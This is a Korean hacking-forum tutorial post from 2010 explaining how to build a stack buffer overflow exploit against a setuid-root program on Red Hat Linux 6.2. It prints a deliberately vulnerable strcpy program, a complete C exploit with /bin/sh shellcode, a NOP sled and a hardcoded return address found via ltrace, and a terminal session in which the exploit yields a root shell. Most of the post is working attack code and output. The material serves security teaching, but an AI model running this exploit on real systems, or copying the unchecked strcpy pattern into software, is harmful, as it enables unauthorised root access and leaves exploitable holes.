1580, 8/79 회원가입  로그인  
   buff3r
   http://#include .
   [자작]RedHat 6.2 환경에서 BOF exploit 만들기

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=1437 [복사]


이번강좌는 별로 뜻은 없습니다.
누구든지 1분만 생각하면 짤수있는 익스플로잇입니다 .
제가 자유강좌실에 올리는 이유는 .. !
'별빛을담아'님의 강좌를 견제하기 위해서 .. !!!! 입니다 .ㅋㅋㅋㅋ

전에 제 티스토리에 올렸었지만 잘못된점이 있어 수정한것을 다시 올립니다 .!

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0smp on an i686
login: buff3r
Password:
Last login: Sat Mar  6 19:26:44 from 192.168.0.3
[buff3r@testserver buff3r]$ ls -al
total 36
drwx------    3 buff3r   buff3r       4096 Mar  6 19:13 .
drwxr-xr-x    7 root     root         4096 Mar  6 18:54 ..
-rw-------    1 buff3r   buff3r       1239 Mar  6 19:30 .bash_history
-rw-r--r--    1 buff3r   buff3r         24 Mar  6 18:54 .bash_logout
-rw-r--r--    1 buff3r   buff3r        230 Mar  6 18:54 .bash_profile
-rw-r--r--    1 buff3r   buff3r        124 Mar  6 18:54 .bashrc
-rwxr-xr-x    1 buff3r   buff3r        333 Mar  6 18:54 .emacs
-rw-r--r--    1 buff3r   buff3r       3394 Mar  6 18:54 .screenrc
drwxrwxr-x    2 buff3r   buff3r       4096 Mar  6 19:30 exploits
[buff3r@testserver buff3r]$ cd exploits/
[buff3r@testserver exploits]$ ls -al
total 28
drwxrwxr-x    2 buff3r   buff3r       4096 Mar  6 19:30 .
drwx------    3 buff3r   buff3r       4096 Mar  6 19:13 ..
-rw-rw-r--    1 buff3r   buff3r        852 Mar  6 19:27 exploit.c
-rwsr-xr-x    1 root     root        11750 Mar  6 19:14 vuln
-rw-r--r--    1 root     root          109 Mar  6 19:14 vuln.c
[buff3r@testserver exploits]$ cat vuln.c
#include <stdio.h>
int main(int argc,char *argv[])
{
char buffer[500];
strcpy(buffer,argv[1]);
return ;
}
[buff3r@testserver exploits]$ cat exploit.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"; // This Is Shellcode
int main(int argc, char *argv[])
{
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr;
        ret = 0; // 우리는 아직 ret 의 값을 모릅니다.
        buffer = malloc(600);
        ptr = buffer;
        addr_ptr = (long *) ptr;
        for(i=0; i < 600; i+=4)
        { *(addr_ptr++) = ret; }
        for(i=0; i < 200; i++)
        { buffer[i] = '\x90'; }
        ptr = buffer + 200;
        for(i=0; i < strlen(shellcode); i++)
        { *(ptr++) = shellcode[i]; }    
        buffer[600-1] = 0;        
        execl("./vuln", "vuln", buffer, 0);
        free(buffer);
        return 0;
}
[buff3r@testserver exploits]$ cp vuln buff
[buff3r@testserver exploits]$ ltrace ./buff `perl -e 'print "\x41"x600'`
__libc_start_main(0x080483d0, 2, 0xbffff944, 0x08048298, 0x0804842c <unfinished ...>
__register_frame_info(0x0804945c, 0x08049530, 0xbffff904, 0x080482bd, 0x401081ec) = 0x40108d40
strcpy(0xbffff704, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0xbffff704
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
[buff3r@testserver exploits]$ vi exploit.c
[buff3r@testserver exploits]$ gcc exploit.c -o exploit
[buff3r@testserver exploits]$ /bin/bash2
[buff3r@testserver exploits]$ ./exploit
bash# id
uid=0(root) gid=501(buff3r) groups=501(buff3r)

루트 권한을 얻어낼수있다 .
중요부분만 보도록 하자
vuln.c
#include <stdio.h>
int main(int argc,char *argv[])
{
char buffer[500]; // 500크기의 버퍼를 선언한다

// Stack Status : [BUFFER (500byte)][SFP (4btye)[RET (4byte)]
strcpy(buffer,argv[1]);
return ;
}

exploit.c
원래 get_esp 같은 인라인 어셈블리 함수를 선언한후 오프셋을 찍어보는것이 일반적인 공겨법이지만 redhat 6.2 에서는 random stack이 적용이 안되므로 그냥 정확한 주소값을 얻어낼수있으므로 offset이 필요없다.
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"; // This Is Shellcode
int main(int argc, char *argv[])
{
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr;
        ret = 0xbffff704; // 아까 ltrace 를 통해 strcpy 가 어떤 위치에 argv[1]을 복사하는지
                             // 알아냈다 그 값을 이용하자
        buffer = malloc(600); // 공격스택을 구성하기 위한 할당
        ptr = buffer;
        addr_ptr = (long *) ptr;
        for(i=0; i < 600; i+=4)
        { *(addr_ptr++) = ret; } // 처음 600 바이트를 모두 ret로 채운다 (0xbffff704)
        for(i=0; i < 200; i++)
        { buffer[i] = '\x90'; } // 처음 200 바이트를 모두 NOP으로 채운다.
        ptr = buffer + 200;
        for(i=0; i < strlen(shellcode); i++)
        { *(ptr++) = shellcode[i]; }    // 처음 + 200 부터 쉘코드를 놔둔다.(NOP뒤에놔둔다.)
        buffer[600-1] = 0;        // 맨끝을 0으로 끝낸다
        execl("./vuln", "vuln", buffer, 0); // 우리가 만든 공격 버퍼를 vuln 의 인자로

                              // 주고 vuln 을 실행한다.  
        free(buffer);
        return 0;
}

  Hit : 12616     Date : 2010/03/17 07:51



    
별빛을담아 ...했던말 취소 2010/03/17  
별빛을담아 내 앞을 가로막다니... 2010/03/17  
소울 나보다한살어리다니.. 2010/03/17  
Myers BOF매니아 Buff3r... NOP썰매인겅미? 2010/03/17  
Aentanis 머지;; 2010/05/23  
Cpgroot .. 2010/08/18  
1440   letmein 님 해캠 전까지 풀면 된다고 했던 문제요     blueh4g
02/03 6426
1439   해킹방법[12]     bongcheur
07/07 12761
1438   컴퓨터해커[4]     bongcheur
07/07 8978
1437   Windows NetBios 를 악용한 해킹방법의 예와 대처방법[3]     bongcheur
07/07 10282
1436   키보드해킹(보안)에 대해     bongcheur
07/07 7034
1435   nProtect 키보드 해킹방지 프로그램 설치[5]     bongcheur
07/07 9891
1434   해킹툴[5]     bongcheur
07/08 10017
1433   원격종료....[39]     bsjzzz
01/02 11343
1432   리눅스 방화벽의 종류...[4]     bsjzzz
01/12 13413
1431   제가 직접 작성한 Sql Injection 문서입니다 .[9]     buff3r
10/29 7548
1430   [자작]간단히 Netcat을 이용하여 윈도우XP 갖고놀기[11]     buff3r
01/03 7521
1429   Start of SQL Injection (매우 기초) 1[6]     buff3r
01/11 7008
1428   Ready to Make a Sql injection tool[5]     buff3r
01/15 7059
1427   [BASE]Making SQL injection tool 1/3[3]     buff3r
01/20 6362
1426   [BT4_han.iso]USB부팅하는 방법 For 별빛을담아[5]     buff3r
02/22 9479
1425   [자작] M4k3 Xploits :D[2]     buff3r
03/06 6338
  [자작]RedHat 6.2 환경에서 BOF exploit 만들기[6]     buff3r
03/17 12615
1423   [자작]RedHat 6.2 환경에서 BOF exploit 만들기 -The Second -[5]     buff3r
03/18 7012
1422   Fedora Core 3 local based buffer overflow[3]     buff3r
08/22 6908
1421   ;cat 을 사용하는 이유 .[3]     bugfixer2
05/18 9901
[1][2][3][4][5][6][7] 8 [9][10]..[79]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com